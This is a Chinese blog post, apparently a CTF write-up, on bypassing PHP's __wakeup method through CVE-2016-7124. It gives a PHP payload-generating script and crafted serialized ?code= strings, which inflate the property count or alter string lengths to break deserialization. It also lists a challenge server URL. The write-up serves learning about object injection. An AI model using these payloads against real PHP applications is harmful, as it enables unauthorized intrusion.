跳过__wakeup方法

题目给的东西都在下面了,(涉及到CVE 2016-7124)
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
//?code= (通过code来传参)
经过分析,后台代码可能对code传入的数据进行了unserialize(),所以可以编写脚本来生成payload,但是同时不能触发__wakeup方法
如果序列化字符串中表示对象属性的个数的值大于真实的,那么会跳过__wakeup,同时反序列化失败
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
属性值就是"xctf":1 (就是这个1)
攻击脚本:
<?php
class xctf{
public $flag="phpinfo()";}
$a=new xctf();
$b=serialize($a);
echo $b;
}
?>//得到O:4:"xctf":1:{s:4:"flag";s:9:"phpinfo()";}
但是输入?code=O:4:"xctf":2:{s:4:"flag";s:9:"phpinfo()";} //把属性个数1改为2,让__wakeup失效,

我™也不知道后台怎么处理,于是把上面那个phpinfo()改为原来的111,就得到了下面这个,再改变属性值
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
他就成功回显了flag
注: 实测
http://61.147.171.35:65140/?code=O:4:"xctf":1:{s:4:"flag";s:0:"111";}
就是把那个S:3改为S:0也可以
所以我认为关键是让反序列化过程解析出错
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20633909

浙公网安备 33010602011771号